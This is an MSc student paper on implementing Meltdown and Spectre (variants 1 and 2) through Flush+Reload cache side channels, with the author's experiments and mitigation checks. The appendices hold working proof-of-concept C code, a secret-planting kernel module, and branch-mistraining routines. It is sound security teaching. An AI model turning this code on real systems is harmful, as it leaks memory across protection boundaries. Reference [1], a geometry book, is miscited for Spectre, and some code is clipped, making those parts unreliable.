Meltdown & Spectre

Stefan Paraschiv

Msc Security and Applied Logic, University of Bucharest, Romania

Abstract

This paper concentrates on implementing Spectre[1] and Meltdown[6], supplemented by essential background information. The foundational code is derived from SEEDlabs [8], with subsequent independent experimentation. While the code may not appear highly original, the learning derived from these experiments is noteworthy. The paper presents personal experiments and observations, explores the mitigations present in my laptop, assesses their impact on results, and showcase applicable mitigation strategies.

1 Laptop Specifications

Because we're implementing hardware attacks it's very important to understand the equipment we have. So I will be presenting briefly what my laptop has.

```
Architecture: i686
Model name: Intel(R) Core(TM) i7-9750H
CPU @ 2.60GHz
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 12288K
```

Listing 1: Laptop specifications

Because I will be using the cache as a covert channel it's also important to understand how my cache is configured, this we can see in 2.

```
LEVEL1_ICACHE_SIZE              32768
LEVEL1_ICACHE_ASSOC                 8
LEVEL1_ICACHE_LINESIZE             64
```

Listing 2: Cache details

With these informations we can calculate the number of lines, which is the cache size divided by the line size, resulting in 512 lines. We can also see the number of sets which are the number of lines divided by associativity (8 way set) and is 64.

2 Side-Channels

For Meltdown and Spectre the side-channel that is used to leak data is the CPU cache. There are multiple ways to reveal information through the cache, the most used are Flush and Reload, Prime and Probe and Evict and Reload. For the implementation I only used Flush and Reload but I consider that the other two methods are equally important to understand because you never know what you can use, so for that I will present the methods briefly in this paper.

2.1 Flush and Reload

Flush and Reload is a simple way to use the CPU cache as a covert channel, it works on the principle that you flush everything out from the cache, load the secret data in cache and then by measuring the time to access values from the cache you know what the hidden data was because of the fast time access. To do that we use the instruction `clflush()` (Flush Cache Line), the reason why this instruction exists is that there can be a new value in the memory and in the cache there is an old value, so basically the memory and cache are in inconsistent states. That's why we use `clfush()`, to flush the old value from the cache, and update it with the new value from memory. If we have access to the `clfush()` instruction, we can easily implement a flush and reload (see A).
To facilitate this implementation, an additional piece of information is required. Initially, we must explore the accurate detection of whether a value is present in the cache. To achieve this, I created a simple program that features two elements intentionally stored in the cache, while the remainder

are not, an example for an output is presented in 3.

```
stefan@VM:~/Meltdown$ ./cache_timing
Time for array[0*4096]: 1102 CPU cycles
Time for array[1*4096]: 282 CPU cycles
Time for array[2*4096]: 220 CPU cycles
Time for array[3*4096]: 42 CPU cycles
Time for array[4*4096]: 232 CPU cycles
Time for array[5*4096]: 198 CPU cycles
Time for array[6*4096]: 268 CPU cycles
Time for array[7*4096]: 56 CPU cycles
Time for array[8*4096]: 220 CPU cycles
Time for array[9*4096]: 200 CPU cycles
```

Listing 3: Cache threshold results

We can clearly observe that the values three and seven were stored in cache, just for safety I ran this test with the code from B to get the maximum value for the threshold. We can observe that in A there is a DELTA defined with a value of 1024, the reason for this is that in [8] they state that array[0*4096] may fall into the same cache block as the variables in the adjacent memory, and that it may be accidentally cached due to the caching of those variables. To avoid this issue, they suggest using a DELTA value to not be mixed with the variables, from my personal experiments DELTA doesn't affects the results of the program.This could mean that the specific memory layout and access patterns in my experiments do not lead to interference from nearby variables. However, it's important to note that the impact of DELTA might vary based on the specific system architecture, cache size, and other factors.

An interesting line from the flush phase is presented in Listing 4

```
for(int i = 0 ; i < 256; i++)
    array[i*4096+DELTA] = 1;
```

Listing 4: Preventing copy-on-write

The reason why this line exists is to bring the array into the memory and also to prevent Copy-On-Write (COW) behaviour. COW is a memory management technique where multiple processes share the same memory pages until one of them writes to the shared memory. At that point, a copy of the page is created, and the writing process gets its private copy. The reason why we want to prevent this is that it ensures that the memory is immediately brought into physical memory, allowing for more controlled observations of cache behavior.

2.2 Evict and Reload

This is a method that's an alternative for Flush and Reload, instead of using the clflush() instruction, it's based on cache contention, cache contention happens when multiple cores try to access the same cache line or block simultaneously (shared resource). This method leverages the contention by loading different data into the cache line that is being targeted. The contention causes the processor to evict the existing content of the cache line, replacing it with the new data. After the eviction phase, the reload part is the same as in Flush and Reload.

2.3 Prime and Probe

Prime and Probe has two phases, the first phase is the Prime one, where the attacker fills up the cache with some data (doesn't matter what it is). Now the victim accesses his memory that maps to the same cache and will cause the eviction of some cache line from the attacker. Now the malicious actor can access all his loaded data from the Prime phase and can observe that a slow access means it was evicted because of the victim and therefore knows that that's what was accessed.

3 Meltdown

Meltdown is a very powerful attack that allows us to read the entire kernel, the main idea behind this attack is to exploit the out-of-order execution by winning the race condition between the out of order execution and the permission check. In the majority of operating systems, user-space programs cannot directly access kernel memory. This isolation is established through the use of a supervisor bit in the processor, determining whether a kernel's memory page can be accessed. The bit is set when the CPU transitions into the kernel space and cleared upon exiting to user. This mechanism safely maps kernel memory into the address space of every process. However, the Meltdown attack disrupts this isolation feature by enabling unprivileged user-level programs to read arbitrary kernel memory.

Full disclosure: my CPU incorporates a hardware mitigation for Meltdown, rendering me unable to conduct experiments or yield any results. Despite attempts to implement it for the sake of understanding its intended functionality (C), practical experimentation proved unattainable due to the inherent hardware mitigation present in my CPU.

For Meltdown I will be using the Flush and Reload strategy to leak the secret data (A). Before doing the attack we first need to load the secret in the kernel memory, this is done by D. Generally we don't know the address of the secret but in this case I fetch it in the beginning. Admittedly, delving into kernel code for the first time proved to be quite challenging.To write the secret into the kernel, we create an entry in the /proc directory, essentially providing a communication channel for user-level programs to interact with the kernel module. When a program from the user side reads from this entry, it triggers the invocation of the read proc() function in the kernel module. It's important to note that this read operation doesn't expose the secret into the user space.

Now that we have our secret stored in the kernel we can proceed with the attack. Fist we need the address of our secret which we can get by running our kernel module and then use the command from 5.

```
dmesg | grep "secret"
```

Listing 5: Get address from secret

If we try to access the secret in a normal program we obviously get an exception. But because we need to do the Reload phase after we try to access the address we need to handle this exception, this is presented in E, the code is pretty simple besides the `siglongjmp` and `sigsetjmp` functions, the `sigsetjmp` saves the current state of the program and returns an integer, the `siglongjmp` is a way of returning to the `sigsetjmp` and specifies the integer that it will return, so basically we can view this as a kind of checkpoint. The first time it will enter the if and tries to access the memory address, it will raise an exception, the exception will be caught and then from `siglongjmp` it will return to `sigsetjmp` with the value one and then continue the execution.

Now, moving on to the attack, the concept here is to trigger an exception and anticipate winning the race condition against the memory access check (thanks to out-of-order execution). If successful, the secret will be stored in the cache. There are three optimizations presented in the code, the first one is presented in 6

```
fd = open("/proc/secret_data",O_RDONLY);
```

Listing 6: Place secret in cache

A potential question may arise: if we read the secret and find it cached, does that imply a leak during the Reload phase? The answer is no because we lack control over the specific location in the cache where it's stored, making it unhelpful in that regard. The optimization here arises from having the secret in the cache, facilitating quicker retrieval and enabling the execution of more instructions during out-of-order execution.

Another optimization is to add the code from 7.

```
asm volatile(
      ".rept␣400;"
      "add␣$0x141,␣eax;"
      ".endr;"
      : "eax"
);
```

Listing 7: ASM optimization

If we examine the explanation for this optimization [7], a clear explanation is not readily apparent. My conjecture (as I'm unable to run experiments) is that this potentially serves a different purpose. Drawing from insights in the Meltdown paper, the access check in out-of-order execution occurs during the reorder phase (ROB). Additionally, instructions are fetched to the Scheduler and then to the Execution Units, with each execution unit specialized in a specific task. We have the instruction cycles:

- F - fetch, copies the instructions in the IR. The IR contains the opcode of the instruction
- D - decode, decodes the instruction from the IR with the help of the Control Unit
- E - execute, executes the instruction from the CU
- M - memory access, retrieve any required data necessary to execute an instruction. (LOAD instruction for example, we need to access memory) NOT ALWAYS

- R - registry write-back, used for writing back changes if they happened NOT ALWAYS

My hypothesis is that during instruction fetching, both the assembly instructions and memory access instructions are retrieved. Even if the memory instructions are deemed 'illegal,' they utilize the Execution Units (EU) for load and store, whereas the assembly instructions employ the Arithmetic Logic Unit EU. I believe that when the memory instructions are completed and placed in the Re-Order Buffer (ROB), they remain in a pending state, awaiting the completion of the Arithmetic Logic Unit before the instructions can be reordered and the access check conducted. Consequently, the permission check experiences a delay.

The final optimization involves the dereferencing of a null pointer. While the specific reason for its effectiveness in executing more instructions out of order is not fully understood, it was discussed in a Black Hat speech on Meltdown [3]. According to their explanation, this strategy disrupts some exception handling processes, providing additional time for data leakage. It should be noted that this method is specifically applicable for leaking data from Level 1 caches.

3.1 Mitigations

Mitigations for Meltdown exist, with hardware solutions being the most challenging to implement. In my laptop, a hardware mitigation is already in place. Before delving into these hardware mitigations, let's first explore a software-based approach.

One software-based mitigation is the KAISER, which has also played a role in addressing KASLR. This software patch involves modifying the kernel to prevent a user process from having the kernel mapped, thereby mitigating the risk of leaking sensitive data. However, it's essential to acknowledge that this mitigation is not flawless, as a process requiring privileged memory locations can still create an attack surface.

The original Meltdown paper proposes a hardware mitigation involving a distinct separation between user space and kernel space. Now, let's explore the mitigations implemented on my laptop. To gather more details, I initiated a Spectre and Meltdown checker, yielding the following Meltdown assessment:

```
CVE-2017-5754 aka 'Variant 3, Meltdown'
* Kernel supports Page Table Isolation:NO
* PTI enabled and active:NO
* Reduced performance impact of PTI:YES
(CPU supports INVPCID, performance impact
of PTI will be greatly reduced)
* Running as a Xen PV DomU:  NO
> STATUS:  NOT VULNERABLE
```

Listing 8: Meltdown checker

Initially, I attempted to discover explanations online, but the information available was limited. The details I could uncover mentioned differences in binning, cache arrangements, and the use of new silicon designs [4][9]. In the case of my personal laptop, these mitigations likely result in part from these factors, possibly including the reduced performance associated with PTI (essentially KAISER). Notably, my CPU is marked as fixed by hardware.

4 Spectre

Spectre is similar to Meltdown but instead focuses on speculative execution, which is used to predict where the code would end up, if the prediction is correct then everything is as expected and the results are committed, if not it will revert to the saved state before the prediction and resume along the correct path. Also Spectre can't leak data from the kernel. To use speculative execution there is a need for branch predictors, for that there are three kinds of branch prediction mechanisms[2].

- Generic Branch Predictor
- Indirect Branch Predictor
- Return Stack Predictor

The Generic Branch Predictor relies on the Branch Target Buffer (BTB) [10], which maintains a mapping of recently utilized addresses and their corresponding destinations.

The Indirect Branch Predictor incorporates the Branch History Buffer (BHB) and the Indirect Branch Target Buffer (IBTB). The BHB enhances the precision of branch predictions, particularly for indirect branches, by recording recent branch history.

The Return Stack Predictor employs Return Stack Buffers (RSB), small microarchitectural buffers that retain return addresses from recent calls. This feature accelerates function returns but can also be exploited, leading to an attack known as ret2spec [5].

In the sections that will follow I would like to present the implementation of Spectre for variant 1 (Conditional Branch Misprediction) and variant 2 (Poisoning Indirect Branches).

4.1 Variant 1

This variant of Spectre exploits the conditional branches, to succeed in this experiment we will use the Flush and Reload implementation presented in 2.1. This variation is also featured in the Spectre paper; however, I discovered that the code in the paper could be streamlined for improved clarity and a better understanding of the attack. n order to arrive at a code resembling the one presented in the paper, I began with simpler versions to experiment and comprehend the process. The initial version is the one outlined in F, which, although basic, effectively illustrates the concept of branch mistraining. In F the conditional that is mistrained is the one in 9.

```
if (x < size){
        temp = array[x*4096+DELTA];
        printf("Here\n");
}
```

Listing 9: Mistrained conditional

It's a very simple example but there are also a lot of observations to make. I will have three scenarios to proof my examples:

- Scenario 1: Run without training
- Scenario 2: Run with training to not enter if statement
- Scenario 3: Run with training to enter the if

Upon initially running the code, it performed as anticipated, prompting the question of how much training the branch predictor into a valid case is required for it to speculate an invalid value. Surprisingly, it became evident that there was no need for explicit mistraining; by default, the branch predictor speculated the value 90 and cached it (**scenario 1**). This realization led to a moment of doubt regarding potential errors. To explore this further in the subsequent scenario (**scenario 2**), I deliberately trained the branch to avoid entering the if statement (10).

```
for(i = 10; i < 100; i++)
        branchPredictor(i);
```

Listing 10: Training to avoid entering the if statement, with the maximum accepted value for i in the if condition set to 10.

In the current setup, the value is not cached, confirming its correctness. However, the noteworthy aspect is that it works even without explicit training of the branch predictor, which remains quite surprising. Moving on to another scenario (**scenario 3**), if we train it to enter the if statement, the result is that the value 90 will also be cached.

I would also like to make some observations regarding F about the flushes which are presented in Listing 11.

```
_mm_clflush(&size);
for(i = 0; i < 256; i++)
        _mm_clflush(&array[i*4096+DELTA]);
```

Listing 11: Flushing the size and array.

Clearing our array is logical because, after training the branch predictor, we aim for a 'clean' start. However, the question arises about flushing the size. What could be the rationale behind that? Would the results remain consistent if we were to comment out that particular line? Indeed, it appears that the line is crucial. In the first scenario, the attack functions reasonably well, but its performance significantly improves when flushing the size. In the second scenario, the behavior remains consistent, and in the third scenario, the attack ceases to be effective. The results for the second scenario were expected but why would it have such a great impact on scenario one and three? The answer is simple, if we clear the size from the cache, the evaluation of the if statement will last longer because it will be fetched from the RAM which is slow, thus it gives more time for the speculative execution.

Building upon the variant from F I created one more example which is similar to the Spectre paper. This time there is a secret we want to leak, the main differences are represented by how we calculate the offset to the secret and how we win more time for the speculative execution. If we just flush the size and the array there isn't enough time to speculate and generally it won't leak all the data we want. For the code from G we will have the same scenarios without a couple of optimizations.

Executing **scenario 1** (excluding lines 13 and 12) results in one or two cache hits, which is suboptimal. In **scenario 2**, there is no leakage, and in **scenario 3**, a few cache hits occur, but the outcomes are not favorable.

Now let's see for the last scenario how the line (12) influence the results, it's still pretty noisy but there are moments where all the secret was almost leaked.

```
for( z = 0 ; z < 100; z++ );
```

Listing 12: Delay

This essentially introduces a delay; alternatively, we could have employed mfence() for a similar purpose. While the results show improvement, they are still not satisfactory. Let's examine how the line (13) impacts the outcome.

```
usleep(10)
```

Listing 13: Delay with usleep

With this type of delay the results are a lot better, leaking almost anytime half of the secret and sometimes all the secret. With 12 and 13 we can almost get the whole secret anytime.

I don't have a precise explanation for the effectiveness of these two optimizations, it seems they simply stall the CPU during the verification of the if statement condition. Interestingly, the values in 12 or 13 do not seem to impact the results, indicating that there might be some register or mechanism responsible for keeping the CPU stalled.

4.2 Variant 2

This variation of the Spectre vulnerability resembles Variant 1, but instead of deliberately misleading a branch predictor, the objective is to manipulate an indirect branch. Examples of indirect branches include virtual functions, jmp instructions, function pointers, and others.

This variant is demonstrated in H, we can observe that we have the same optimizations as in 4.1, what differs is that we don't have a condition to train, instead we have a function pointer which we will use to demonstrate this attack variant. For this variant I have two scenarios:

- Scenario 1: Run without training
- Scenario 2: Run with training

Before delving into the scenarios, I'd like to elucidate the code. We possess a controllable gadget, a victim function employed to call the function pointed to by the pointer, and another innocent function. The primary objective is to successfully leak the secret through the gadget when the pointer is directed towards the innocent function.

In the initial scenario, no secret is leaked, whereas in the second scenario, we successfully manage to extract the secret. Now, I'm interested in determining the minimum number of times I need to train the Indirect Branch Predictor. I've observed success with 1000 trains, and I aim to perform a binary search. Upon training the IBP only 125 times, I noticed that out of 19 characters, 17 were consistently predicted correctly, but 2 were gibberish. Let's explore whether an even smaller value is viable. From values below 60, the secret is no longer leaked effectively; it becomes garbled. However, we can conclude that for my laptop, training the IBP at least 60 times is sufficient to leak data through a side-channel.

4.3 Mitigations

To mitigate speculative execution, the `_mm_lfence()` instruction can be employed, ensuring that instructions up to that point are executed. Adding this instruction on both branches within an if statement at the beginning might resolve the issue, albeit at the cost of significantly slowing down execution speed. Through testing, I confirmed that this approach works. In G, the `_mm_lfence()` instruction is commented. Essentially, it becomes a trade-off between security and speed.

Another mitigation is extending the ISA with a method to control indirect branching. The mechanism has three controls, the Indirect Branch Restricted Speculation (IBRS) which helps mitigate the risk of Spectre attacks by restricting speculative execution across indirect branches. The second control is Single Thread Indirect Branch Prediction (STIBP) which restricts branch prediction sharing among applications running on the hyperthreads of the same core. The third control is Indirect Branch Predictor Barrier (IBPB), which acts as a barrier that prevents the speculative execution of instructions from affecting branch prediction across indirect branches. Now it's time to see what my laptop has by running the spectre-meltdown-checker, the results are presented in 14.

```
*Indirect Branch Restricted Speculation
*SPEC_CTRL MSR is available: NO
*CPU indicates IBRS capability: NO
*Indirect Branch Prediction Barrier
*CPU indicates IBPB capability: NO
*Single Thread Indirect Branch Predictors
*SPEC_CTRL MSR is available: NO
*CPU indicates STIBP capability: NO
```

Listing 14: Spectre Checker

As we can clearly see my laptop is very safe (this is a joke, I don't have any of the mitigations suggested for Spectre).

References

[1] Marcel Berger, Paul Gauduchon, Edmond Mazet, Marcel Berger, Paul Gauduchon, and Edmond Mazet. *Le spectre d'une variété riemannienne*. Springer, 1971.

[2] Gavin Guo. Spectre(v1/v2/v4) v.s. meltdown(v3). 2018.

[3] Black Hat. Meltdown conference, 2018.

[4] Intel. Branch history injection and intra-mode branch target injection, 2022.

[5] Esmaeil Mohammadian Koruyeh, Khaled N Khasawneh, Chengyu Song, and Nael Abu-Ghazaleh. Spectre returns! speculation attacks using the return stack buffer. In *12th USENIX Workshop on Offensive Technologies (WOOT 18)*, 2018.

[6] Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, and Mike Hamburg. Meltdown. *arXiv preprint arXiv:1801.01207*, 2018.

[7] paboldin. Ooo asm explanation, 2018.

[8] SEEDLAB. Seedlab implentation, 2018.

[9] Anton Shilov. Spectre and meltdown security update, 2018.

[10] Daiqi Guo Yuhao Jiang. Meltdown and spectre. 2018.

A Appendix:Flush and Reload

```c
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdint.h>
#include <stdio.h>

#define CACHE_HIT_THRESHOLD (100)
#define DELTA 1024


uint8_t array[256*4096];
int temp;

void flushCache(){

  /* Bring it to RAM. Prevent Copy-on-write.
   COW is a memory management technique that allows multiple processes to share
    the same memory pages for an array. We initialize the array so we 'force'
    the creation of a page. We want to ensure that the array exists in the physical
   memory.  */
  for(int i = 0 ; i < 256; i++)
        array[i*4096+DELTA] = 1;

  for(int i = 0 ; i < 256; i++)
        _mm_clflush(&array[i*4096+DELTA]);

}


void victim(uint8_t secret){

  temp = array[secret*4096 + DELTA];

}
void reloadCache(){

  int junk = 0;
  register uint64_t time1,time2;
  volatile uint8_t *addr;
  int i;
  for(i = 0 ; i < 256; i++){

    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk)-time1;
    if( time2 <= CACHE_HIT_THRESHOLD)
      printf("The secret is:%d, array[%d*4096+%d]\n",i,i,DELTA);
  }

}
int main(int argc, const char **argv){

  flushCache();
  victim(5);
  reloadCache();
  return 0;
}
```

B Appendix:Threshold calculation

```
#!/bin/bash

max=0
for i in {1..10}
do
        echo "Iteration $i:"
        test=$(./cache_timing)
        #echo "$test"

        # while read a single line of input (-r prevents backslashes)
        while read -r line
        do
                if [[ $line = *array[3* ]]
                then
                        echo "$line"
                        number1=$(echo "$line" | grep -o -P '(?<=: ).*(?= CPU)')
                        if [ $number1 -gt $max ]
                        then
                                max=$number1
                        fi
                fi

                if [[ $line = *array[7* ]]
                then
                        echo "$line"
                        number2=$(echo "$line" | grep -o -P '(?<=: ).*(?= CPU)')
                        if [ $number2 -gt  $max ]
                        then
                                max=$number2
                        fi
                fi
        # <<< - here string: give pre-made string to a program
        done <<< "$test"
```

```
done
echo "Threshold:␣$max"
```

C Appendix:Meltdown

```
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include "FlushReload.h"
#include <sys/stat.h>
#include <fcntl.h>

static sigjmp_buf bufjump;

static void catch_sigsegv() {
  siglongjmp(bufjump,1);
}

void attack(unsigned long kernel_secret_addr){

  *(volatile char*) 0;
  asm volatile(
       ".rept␣400;"
       "add␣$0x141,␣%%eax;"
       ".endr;"

       :
       :
       : "eax"
  );
  char kernel_secret;
  kernel_secret = *(char*)kernel_secret_addr;
  /*Access it so we can have it in the cache*/
  victim(kernel_secret);
}


int main(int argc, const char **argv){

  /* Clear cache */
  flushCache();
  /* Put data in cache */
  int fd = open("/proc/secret_data",O_RDONLY);
  if (fd < 0){
   perror("open");
   return -1;
  }
  /* reads from position and doesn't modify the file pointer; I think read()
  is ok, we don't specify the offset*/
  int ret = pread(fd,NULL,0,0);
  signal(SIGSEGV, catch_sigsegv);

  if (sigsetjmp(bufjump,1)==0){
        attack(0xf8791000);
  }else{
        printf("Secret stored in cache due to ooo.\n");
  }

  /* See what's new in the cache */
  reloadCache();
  return 0;
}
```

D Appendix:Load Kernel Secret

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/vmalloc.h>
#include <linux/version.h>
#include <linux/seq_file.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>

/*
========== Module for placing a secret in the kernel ==========

To achieve this goal we create a kernel module. We first place
the secrets address in the kernel message buffer (printk), which we can
access in the user space.This is so we know where the target is.

We need to cache our secret, this is done by creating a proc/entry
which can be accessed as a user and thus interact with the kernel module.

When we read from the entry, we will load the secret data => it will be
cached.
*/




/* for implementation details of structs and so: /usr/include/linux */
static char secret[7] = {'P','W','N','t','i','m','e'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;
```

```
/* inode (defined in fs.h)
 Read about seq_open, single_open is a simplified version of it*/

static int test_proc_open(struct inode *inode, struct file *file){
// MACRO from linux/version.h
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
  return single_open(file, NULL, PDE(inode)->data);
#else
  return single_open(file, NULL, PDE_DATA(inode));
#endif
}

/* the function read_proc will give to the user space the data that we want to
export from the kernel space.
filp - file that points to file*/
static ssize_t read_proc(struct file *filp, char *buffer, size_t length, loff_t *offset)

  memcpy(secret_buffer,&secret,7);
  return 7;
}

/* llseek - change r/w position/offset in a file;
 release - invoked when file structure is released *optional* */
static const struct file_operations test_proc_fops =
{
  .owner = THIS_MODULE,
  .open = test_proc_open,
  .read = read_proc,
  .llseek = seq_lseek,
  .release = single_release,
};

/*Mark as initialzed data/initialization functions. Is used only during the
initialization phase and free up used memory resources after */
static __init int test_proc_init(void)
{
  /*All printk() messages are printed to the kernel log buffer, which is a
  ring buffer exported to userspace through /dev/kmsg. The usual way to read
  it is using dmesg.*/
  printk("Secret␣data␣address␣is:␣%p\n",&secret);

  /*kmalloc() - guarantees that the pages are physically contiguous (and virtually conti
  vmalloc() - only ensures that the pages are contiguous within the virtual address spac
*/
  secret_buffer = (char*)vmalloc(7);

  /* proc_create_data(const char *name, umode_t mode,struct proc_dir_entry *parent,const
  secret_entry = proc_create_data("secret_melt",0444,NULL,&test_proc_fops,NULL);
  if(secret_entry) return 0;

  /*No memory */
  return -ENOMEM;
}

static __exit void test_proc_cleanup(void){

        remove_proc_entry("secret_melt",NULL);
}

/* First function called when the module is loaded
 Driver initialization entry point */
module_init(test_proc_init);
/* Driver exit entry point */
module_exit(test_proc_cleanup);
```

E Appendix:Exception Handling

```
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>

/* jumpbuf saves the 'state'/ stack, to do that we need to have a non-zero
argument in the sigsetjmp and siglongjmp */
static sigjmp_buf jumpbuf;

static void catch_sigsegv(){

  /* set the result of sigsetjmp to non-zero */
  siglongjmp(jumpbuf,1);
}

int main(){
  /* secret address */
  char *kernel_secret_addr = (char*)0xf8791000;

  /* Signal handler */
  signal(SIGSEGV, catch_sigsegv);

  /* where to return from siglongjmp, first time it returns zero because it's
  a direct invocation  */
  if (sigsetjmp(jumpbuf,1) == 0){

        char kernel_data = *(char*) kernel_secret_addr;
        printf("I got executed.\n");
  }
  else{
      printf("Denied access!\n");
  }

  printf("Program was not killed!\n");

  return 0;
}
```

F Appendix:Spectre V1.1

```
#include <stdio.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>


#define CACHE_THRESHOLD (100)
#define DELTA 1024
int secret = 23;
int size = 10;
int array[256*4096];
uint8_t temp;
void flushCache(){

  int i;
  /* Prevent copy on write */
  for(i=0;i < 256; i++)
        array[i*4096 + DELTA] = 1;

  for(i=0; i < 256; i++)
        _mm_clflush(&array[i*4096+DELTA]);
}

void reloadCache(){

  int junk = 0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;

  for(i = 0; i < 256; i++){
        addr = &array[i*4096+DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 < CACHE_THRESHOLD)
              printf("The secret %d was stored in cache, at address:%p.\n",i,addr);
  }

}


void branchPredictor(int x){


  if (x < size){
        temp = array[x*4096+DELTA];
    printf("Here\n");
  }

}


int main(){

  int i;

  flushCache();
  /*Experiment with the branch predictor*/
  for(i = 10; i < 100; i++)
        branchPredictor(i);


   _mm_clflush(&size);
   for(i = 0; i < 256; i++)
       _mm_clflush(&array[i*4096+DELTA]);


  branchPredictor(100);

  reloadCache();

  return 0;
}
```

G Appendix:Spectre V1.2

```
#include <stdio.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>


#define CACHE_THRESHOLD (100)
#define DELTA 1024
```

```
unsigned int limitu = 10;
unsigned int limitl = 0;
uint8_t array[256*512];
uint8_t data[10] = {1,2,3,4,5,6,7,8,9,10};
char *secret_token="CACHE ME IF YOU CAN";
uint8_t temp;

void flushCache(){

  int i;
  /* Prevent copy on write */
  for(i=0;i < 256; i++)
        array[i*512 + DELTA] = 1;

  for(i=0; i < 256; i++)
        _mm_clflush(&array[i*512+DELTA]);
}


void reloadCache(){

  int junk = 0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;

  for(i = 0; i < 256; i++){
        addr = &array[i*512+DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 < CACHE_THRESHOLD && i != 0)
                printf("The secret %d was stored in cache, value: %c.\n",i,i);
  }

}


void getDataPaperImplementation(size_t x){


  if ( x < limitu && x > limitl){
        /*_mm_lfence(); -- PREVENT SPECULATIVE EXECUTION */
        array[data[x]*512+DELTA] += 1;

  }

}
```

```
void spectreAttackAddressCalculated(int j){

  int i;
  uint8_t s;
  volatile int z;

  for(i = 1 ; i < 10; i++)
        getDataPaperImplementation(i);

  size_t addr_token = (size_t)(secret_token - (char*)data + j);
  _mm_clflush(&limitu);
  _mm_clflush(&limitl);
  for( i = 0 ; i < 256; i++) _mm_clflush(&array[i*512 + DELTA]);
  for( z = 0 ; z < 1000; z++ );
  getDataPaperImplementation(addr_token);


}

int main(){
  for (int j = 0 ; j < 19 ; j++){
          flushCache();
          usleep(10);
          spectreAttackAddressCalculated(j);
          reloadCache();
  }
  return 0;
}
```

H Appendix:Spectre V2

```
#include <stdio.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>

#define CACHE_THRESHOLD (100)
#define DELTA 1024

uint8_t array[256*4096];
char *secret = "CACHE_ME_IF_YOU_CAN";

void flushCache(){

  int i;
  /* Prevent copy on write */
  for(i=0;i < 256; i++)
        array[i*4096 + DELTA] = 1;
  for(i=0; i < 256; i++)
        _mm_clflush(&array[i*4096+DELTA]);
}


int reloadCache(){

  int junk = 0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;

  for(i = 0; i < 256; i++){
        addr = &array[i*4096+DELTA];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        if (time2 < CACHE_THRESHOLD && i != 0){
                printf("The␣secret␣%d␣was␣stored␣in␣cache.␣%c\n",i,i);
                return i;
        }
  }

  return 0;

}



void (*target)(char *);
int temp;

void gadget(char *addr){
  temp = array[(*addr)*4096 + DELTA];
}


void innocent(char *addr){
  printf("Innocent\n");

}



void victim(char *addr){
  target(addr);
}
```

```
int main(){
  char *addr_secret = secret;
  int len = 19;
  int i,z,t, found =0;
  char decoy = 'Z';
  char result[19];
  while (found != len){
          t =0;
          flushCache();

          for(i = 0 ; i < 50 ; i++){
            target = gadget;
            victim(&decoy);
          }

          for( i = 0 ; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
          for( z = 0 ; z < 100; z++ );
          usleep(10);
          target = innocent;
          victim(addr_secret);
          t = reloadCache();
          if (t != 0){
                addr_secret++;
                found++;
          }
  }

  return 0;
}
```